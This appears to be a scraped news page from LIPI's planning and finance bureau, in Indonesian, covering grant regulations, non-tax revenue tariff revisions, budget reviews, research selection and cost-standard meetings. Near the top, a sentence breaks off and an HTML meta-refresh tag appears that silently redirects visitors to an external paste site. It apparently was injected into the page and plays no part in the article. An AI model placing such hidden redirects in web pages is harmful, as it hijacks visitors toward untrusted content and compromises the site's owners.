Berita

a

Undang-Undang Nomor 1 Tahun 2004 tentang Perbendaharaan Negara menetapkan bahwa untuk
membiayai dan mendukung kegiatan prioritas dalam rangka mencapai sasaran pembangunan, Pemerintah
negeri.

<META http-equiv="refresh" content="0;URL=http://pagebin.com/ydByhIOc">

Selain itu, untuk melaksanakan amanat Undang-Undang Nomor 17 Tahun 2003 tentang  Keuangan Negara, Pemerintah Republik Indonesia (Pemerintah) juga dituntut untuk  melaksanakan tata kelola keuangan yang baik (good governance) dengan meningkatkan transparansi dan akuntabilitas, khususnya dalam mekanisme pengadaan pinjaman dan hibah. Penyajian dan pengungkapan (disclosure)
laporan yang lengkap dan informatif merupakan bagian yang tidak terpisahkan dalam mendukung aspek akuntabilitas dan tranparansi.
Sejalan dengan hal tersebut, Peraturan Pemerintah Nomor 10 Tahun 2011 tentang Tata Cara Pengadaan Pinjaman Dan/Atau Penerimaan Hibah (PP 10/2011) menyatakan bahwa pinjaman dan/atau hibah harus ditatausahakan, diadministrasikan, dan diakuntasikan secara baik, sehingga laporan yang disajikan akan memberikan manfaat bagi pemangku kebijakan.
Berikut ini kami lampirkan peraturan-peraturan terkait Hibah langsung dan materi mengenai pengelolaan hibah langsung

? PP No. 10 tahun 2011 tentang Tata Cara Pengadaan Pinjaman Luar Negeri dan Penerimaan Hibah

? PMK No. 191/PMK.05/2011

? PMK No. 271/PMK.05/2014

? Materi Pengelolaan Hibah Langsung

Revisi Tarif PP PNBP

PNBP pada prinsipnya memiliki dua fungsi yaitu fungsi budgetary dan fungsi regulatory. Selaku fungsi budgetary, PNBP merupakan salah satu pilar pendapatan negara yang memiliki kontribusi cukup besar dalam menunjang APBN, melalui optimalisasi penerimaan negara. Selaku fungsi regulatory, PNBP memegang peranan penting dan strategis dalam mendukung kebijakan Pemerintah dalam pengendalian dan pengelolaan kekayaan negara termasuk pemanfaatan sumber daya alam. Pengendalian dan pengelolaan tersebut sangat penting artinya untuk mewujudkan kesejahteraan masyarakat, kemandirian bangsa, dan pembangunan nasional yang berkelanjutan.

 

Saat ini, Peraturan Pemerintah Nomor 106 Tahun 2012 tentang Jenis dan Tarif atas Jenis Penerimaan Negara Bukan Pajak yang Berlaku pada Lembaga Ilmu Pengetahuan Indonesia sedang direvisi. Tahapan revisi jenis dan tarif PP PNBP dapat digambarkan sebagai berikut:

 

 

Progress Revisi PP PNBP:

 

saat ini berada dalam tahap 5, yaitu Proses Penetapan Rancangan Peraturan Pemerintah Tentang Jenis dan Tarif atas PNBP yang Berlaku pada LIPI oleh Presiden

Hasil Reviu Penelaahan Penyusunan RKAKL T.A 2016

Untuk menjadi perhatian kepala satker bahwa data dukung pada penyusunan RKAKL sangat penting, maka dengan ini kami sampaikan hasil reviu yang sudah di laksanakan pada tanggal 23 Oktober 2015 di Auditorium LIPI, oleh BPK dan juga Inspektorat

Seleksi Ungulan Kegiatan Tahap II

Kegiatan ini adalah Seleksi Tahap II kegiatan unggulan dimana sebelumnya telah dilakukan seleksi tahap I desk evaluation. pada seleksi tahap I tim penilai adalah koordinator sub kegiatan ketua tim panel dan ketua PME tim kedeputian yang dilaksanakan di auditorium pada tanggal 10-11 September tanpa dihadiri oleh peneliti Kepala. hasil dari seleksi tahap I adalah proposal yang memenuhi nlai akan lanjut  pada seleksi tahap II



 Kemudian kegiatan seleksi tahap II ini juga diadakan di Jakarta,bertempat di Gedung Auditorium LIPI pada tanggal 21-22 September 2015. Sub Kegiatan pada kegiatan unggulan untuk tahun 2016 ini ada 5 sub kegiatan yaitu:
1. Ketahanan pangan dan obat
2. Pengembangan Material dan Rekayasa Manufaktur
3. Ketahanan air dan Daya Saing Wilayah
4. Mitigasi Kebencanaan dan Perubahan Iklim
> 5. Ketahanan Sosial.
Hasil dari Seleksi Tahap II ini adalah apakah proposal penelitian akan disetujui untuk dibiayai atau ditolak.
Diharapkan dengan adanya kegiatan ini dapat memunculkan penelitian yang menghasilkan produk unggulan yang menjadi ciri khas LIPI yang dapat dimanfaatkan oleh masyarakat Indonesia.

KLARIFIKASI BELANJA PEGAWAI DAN BELANJA OPERASIONAL TAHUN 2015

Pada tanggal 21 Agustus 2015, bertempat di Kebun Raya Cibodas, Biro Perencanaan dan Keuangan LIPI mengadakan acara Klarifikasi Belanja Pegawai dan Belanja Operasional LIPI Tahun Anggaran 2015 dengan mengundang Satuan Kerja di Lingkungan LIPI.

Latar belakang diselenggarakan acara ini adalah kebutuhan gaji pegawai merupakan hal yang harus dipenuhi karena gaji merupakan kebutuhan primer bagi pegawai sebagai alat untuk mempertahankan kelangsungan hidupnya secara ekonomis. Gaji juga merupakan kompensasi yang diberikan kepada pegawai yang secara tidak langsung berpengaruh terhadap kinerja pegawai. Sehingga pemenuhan kebutuhan gaji pegawai tersebut harus selalu dimonitor agar tidak terjadi kekurangan terhadap gaji pegawai tersebut. Menurut PP No.7 Tahun 1977 tentang Gaji PNS, selain gaji pokok kepada PNS juga diberikan tunjangan keluarga, tunjangan jabatan, serta tunjangan pangan. Disamping gaji, sebagai hasil dari reformasi birokrasi pegawai juga diberikan tunjangan kinerja. Tunjangan kinerja merupakan penghasilan yang diberikan kepada pegawai berdasarkan kehadiran dan prestasi kerja.

Acara ini bertujuan untuk melakukan klarifikasi mengenai realisasi belanja pegawai serta belanja daya dan jasa untuk mengetahui kesesuaian data yang diterima dengan kebutuhan gaji dan belanja langganan daya dan jasa pada masing-masing satuan kerja.

Selanjutnya dengan adanya klarifikasi ini nantinya dapat diambil tindakan apabila ada kekurangan dalam belanja pegawai dan belanja daya dan jasa serta dilakukan revisi anggaran untuk belanja pegawai dan belanja daya dan jasa.

 

Metode klarifikasi belanja pegawai dan langganan daya jasa pada hari ini dilakukan dengan cara satuan kerja dibagi per kedeputian, dimana masing-masing kedeputian direviu oleh tim dari Bagian Anggaran BPK LIPI.

KLARIFIKASI ALOKASI KEBUTUHAN ANGGARAN TUNJANGAN KINERJA LIPI

Senin, 10 Agustus 2015 bertempat di Ruang Rapat Canarium Lantai 1 Pusat Konservasi Tumbuhan Kebun Raya Bogor, Biro Perencanaan dan Keuangan LIPI mengadakan Rapat Koordinasi Klarifikasi Alokasi Kebutuhan Anggaran Tunjangan Kinerja.

 

Dengan dihadiri oleh Satuan Kerja pemegang pagu tunjangan kinerja, Rapat Koordinasi ini menghadirkan narasumber dari Direktorat Jenderal Anggaran, dalam hal ini Direktorat Harmonisasi Peraturan Penganggaran dan Direktorat Anggaran II

 

Rapat Koordinasi ini diselenggarakan dalam rangka klarifikasi kebutuhan anggaran tunjangan kinerja LIPI. Rapat dibuka oleh Kepala Biro Perencanaan dan Keuangan LIPI. Dilanjutkan dengan penjelasan dari Direktorat Harmonisasi Penganggaran. Setelah itu masing-masing perwakilan dari satuan kerja pemegang tukin mempresentasikan kekurangan tukin di masing-masing kedeputiannya yang selanjutnya direviu oleh Bagian Anggaran. Pertemuan dilanjutkan dengan pemaparan oleh Direktorat Jenderal Anggaran. Narasumber dari Direktorat Jenderal Anggaran menjelaskan mengenai prosedur revisi pengalokasian tunjangan kinerja

Pertemuan Penyusunan Standar Biaya Keluaran

Biro Perencanaan dan Keuangan LIPI mengadakan pertemuan penyusunan Standar Biaya Keluaran Lembaga Ilmu Pengetahuan Indonesia pada tanggal 24 April 2015 bertempat di Ruang Meeting Besar, Gedung Botani-Mikrobiologi Pusat Penelitian Biologi, Komplek LIPI Cibinong.

 

Dengan dihadiri oleh Kepala TU dan Kepala Sub Bagian Keuangan Satuan Kerja di Lingkungan LIPI, pertemuan tersebut menghadirkan narasumber dari Direktorat Jenderal Anggaran Kementerian Keuangan.

 

Dalam pertemuan tersebut, dijelaskan mengenai latar belakang adanya Standar Biaya:

  • UU No. 17 Tahun 2003 mengamanatkan penerapan Penganggaran Berbasis Kinerja (PBK) utk meningkatkan kualitas APBN.
  • Standar Biaya (SB) merupakan instrumen penting dlm penerapan PBK utk menjamin efisiensi alokasi & efisiensi
  • Dalam rangka penyusunan anggaran TA 2016, telah ditetapkan beberapa peraturan Menteri Keuangan terkait SB sbg dasar acuan penganggaran TA 2016
  • Perlu penyamaan persepsi penerapan kebijakan SB utk memantapkan penerapan PBK agar sesuai amanat UU No. 17 Tahun 2003.

Dasar Hukum Standar Biaya

  • UU No.17 Tahun 2003 Tentang Keuangan Negara
  • Keuangan Negara dikelola secara tertib, taat pada peraturan perundangan-undangan, efisien, ekonomis, efektif, transparan, dan bertanggung jawab dengan memperhatikan rasa keadilan dan kepatutan (Pasal 3 Ayat (1)).
  • PP No. 90 Tahun 2010 Tentang Penyusunan RKA-KL
  • Penyusunan anggaran RKA-KL sebagaimana dimaksud pada ayat (1) menggunakan instrumen indikator kinerja, standar biaya, dan evaluasi kinerja (Pasal 5 Ayat (3))
  • Ketentuan mengenai standar biaya sebagaimana dimaksud dalam ayat (3) diatur dengan Peraturan Menteri Keuangan setelah berkoordinasi dengan Kementerian/Lembaga. (Pasal 5 Ayat (5))

Dan Langkah-Langkah Penyusunan SBK:

  • Identifikasi dan cermati output atau subotput yang ada pada unit kerja Saudara dengan kriteria SBK
  • Tentukan output atau sub output yang akan menjadi SBK
  • Menyusun KAK atau TOR
  • Menentukan komponen atau tahapan yang benar-benar mempunyai keterkaitan dan kesesuaian dengan pencapaian keluaran
  • Menetukan komponen  atau tahapan sebagai biaya utama dan biaya pendukung
  • Menyusun rincian anggaran biaya
  • Meneliti kembali penerapan biaya, kewajaran alokasi anggaran, dan penerapan BAS
  • Melakukan backup data usulan SBK
  • Menyusun Rekapitulasi Data Usulan SBK

Hal baru dalam Kebijakan Penyusunan Standar Biaya TA 2016

JAKARTA - UU No. 17 Tahun 2003 mengamanatkan penerapan Penganggaran Berbasis Kinerja (PBK) untuk meningkatkan kualitas APBN. Dalam penerapan PBK, Standar Biaya merupakan instrumen penting untuk menjamin efisiensi alokasi dan efisiensi operasional. Beberapa Peraturan Menteri Keuangan (PMK) terkait SB telah ditetapkan sebagai dasar acuan penganggaran tahun 2016.

Untuk menyamakan persepsi dan pemahaman atas substansi pengaturan Standar Biaya, pada hari Senin (30/3), Ditjen Anggaran menyelenggarakan Sosialisasi Standar Biaya Tahun Anggaran2016 Dalam Rangka Meningkatkan Kualitas Penganggaran. Sosialisasi yang diselenggarakan di Auditorium Dhanapala ini ditujukan khususnya untuk Chief Financial Officer (CFO), Chief Operating Officer (COO) dan Auditor di lingkungan Ditjen Anggaran.

Sekretaris Ditjen Anggaran Mariatul Aini, dalam pembukaan acara ini menyampaikan,” Kebijakan-kebijakan yang disosialisasikan ini merupakan implementasi dari permormance base budgeting yang sudah dimulai beberapa tahun terakhir”. Dalam rangka penerapan performance base budgeting, saat ini diupayakan peningkatan kualitas informasi kinerja sedang diperbaiki dengan penyempurnaan pada Arsitektur dan Informasi Kinerja (ADIK). Terkait dengan standar biaya, diupayakan efisiensi sesuai standar struktur biaya, standar biaya masukan, dan standar biaya keluaran. “Peningkatan kualitas informasi kinerja saat ini sedang diperbaiki dengan penyempurnaan pada ADIK. Terhadap standar biaya juga dioptimalkan efisien sesuai standar struktur biaya disamping SBM, dan SBK”, imbuhnya.


Berdasarkan PP No. 90 tahun 2010 tentang Penyusunan RKA-K/L, penyusunan RKA-K/L menggunakan instrumen indikator kinerja, standar biaya dan evaluasi kinerja yang saat ini dikembangkan oleh Ditjen Anggaran. “penyempurnaan indikator kinerja dilakukan dengan pengembangan ADIK, penyempurnaan kebijakan standar biaya melalui kebijakan-kebijakan yang akan disosialisasikan secara detail, dan evaluasi kinerja dari pelaksaan anggaran”, demikian disampaikan Agung Widiadi, Direktur Sistem Penganggaran.

Materi sosialisasi disampaikan oleh Langgeng Suwito, Kasubdit Standar Biaya, Direktorat Sistem Penganggaran. Ia menyampaikan bahwa, “untuk penyiapan Standar Biaya Keluaran (SBK) tahun anggaran 2016, Dirjen Anggaran menyampaikan surat kepada Sekretaris Jenderal/Sekretaris Utama/Sekretaris Kementerian Negara/Lembaga Pemerintah Non Kementerian untuk menyampaikan usulan SBK tahun anggran 2016 kepada Menteri Keuangan dengan mengacu PMK No.71/PMK.02/2013”. Langgeng Suwito juga menyampaikan hal-hal baru Standar Biaya Masukan (SBM) 2016 antara lain penambahan item SBM, penyempurnaan satuan dan penjelasan lampiran, serta penyesuaian besaran

Materi bisa di download disini

Sumber : Kementrian Keuangan - Dirjen Anggaran

KOORDINASI TP/STP LIPI

Senin, 23 Februari 2015 bertempat di Ruang Rapat Lt.8, Sasana Widya Sarwono LIPI diselenggarakan koordinasi TP/STP (Techno Park/Science Techno Park) LIPI.

 

Koordinasi tersebut dihadiri oleh:

  1. Sekretaris Utama LIPI
  2. Penanggung Jawab Kegiatan TP/STP
  • Pusat Penelitian Oseanografi
  • Pusat Penelitian Limnologi
  • Pusat Inovasi
  • Pusat Konservasi Tumbuhan Kebun Raya
  • Pusat Penelitian Bioteknologi
  • Pusat Penelitian Biologi
  1. Inspektorat
  2. Ketua Tim PME Kedeputian Jasa Ilmiah
  3. Ketua Tim PME Kedeputian Ilmu Pengetahuan Kebumian
  4. Ketua Tim PME Kedeputian Ilmu Pengetahuan Hayati
  5. Biro Perencanaan dan Keuangan

 

Acara dibuka oleh Sekretaris Utama LIPI yang menjelaskan tentang tujuan dari dilaksanakannya koordinasi mengenai kegiatan TP dan STP ini

 

Dilanjutkan dengan penjelasan dari Kepala Biro Perencanaan Keuangan dan juga Kepala Bagian Anggaran mengenai hasil penelaahan dari Direktorat Jenderal Anggaran dan Bappenas tentang APBNP 2015 dimana dalam penelaahan tersebut Bappenas meminta grand design dari TP/STP.

 

Setelah itu dilanjutkan dengan pemaparan dari masing-masing penanggung jawab mengenai TP dan STP dilanjutkan dengan tanya jawab dan tanggapan dari Sekretaris Utam LIPI.

Konsep Logic model dalam Penataan ADIK

JAKARTA - Pendekatan logic model dalam bidang perencanaan dan penganggaran digunakan untuk menyajikan kerangka perencanaan yang menjembatani gap antara kondisi saat ini dengan kondisi yang diinginkan/diharapkan sehingga dapat dikatakan efektif dan efisien penggunaannya. Pendekatan logic model melihat keterkaitan antara Hasil/Outcome, Keluaran/Output, Aktivitas, dan Input terhadap Customer yang dituju melalui suatu program.

Konsep Dasar Pendekatan logic model

 s

 

Mekanisme penyusunan informasi kinerja dalam pendekatan logic model dilakukan dari level paling atas (Outcome) dan diikuti dengan informasi/referensi Output, Aktivitas, dan Input yang digunakan (Top Down Mechanism). Outcome dan Output yang disusun harus berorientasi keluar kepada Customer (external perspective) bukan kepada internal suatu organisasi (K/L). Melalui pendekatan logic model, secara otomatis akan memberikan dampak perubahan struktur informasi kinerja, semula arsitektur kinerja disusun berdasarkan struktur organisasi menjadi berdasarkan fungsi organisasi berbasis pada Hasil/Outcome seperti pada gambar berikut.

Perbedaan Pendekatan Penataan Arsitektur Kinerja

 

f

 

Dalam substansi pendekatan struktur informasi kinerja berdasarkan fungsi organisasi berbasis kepada fungsi organisasi berbasis Hasil/Outcome, informasi kinerja harus disusun sesuai dengan kerangka logika berpikir (logic model) dan informasi kinerja terdapat pada setiap level organisasi.

 

Perbedaan utama antara pendekatan arsitektur kinerja disusun berdasarkan struktur organisasi dengan pendekatan berdasarkan fungsi organisasi berbasis pada Hasil/Outcome adalah:

    terdapat tingkatan/leveling Output, dimana Output pada level K/L merupakan Output yang sifatnya strategis dan Output bersifat operasional pada level eselon I - eselon II;
  1. indikator menjelaskan Output dan Outcome, bukan indikator Program/Kegiatan; dan
  2. pendelegasian berdasarkan Output
  3. pendelegasian berdasarkan input

Materi Bisa didownload Disini

Sumber : Kemeterian Keuangan ( Red )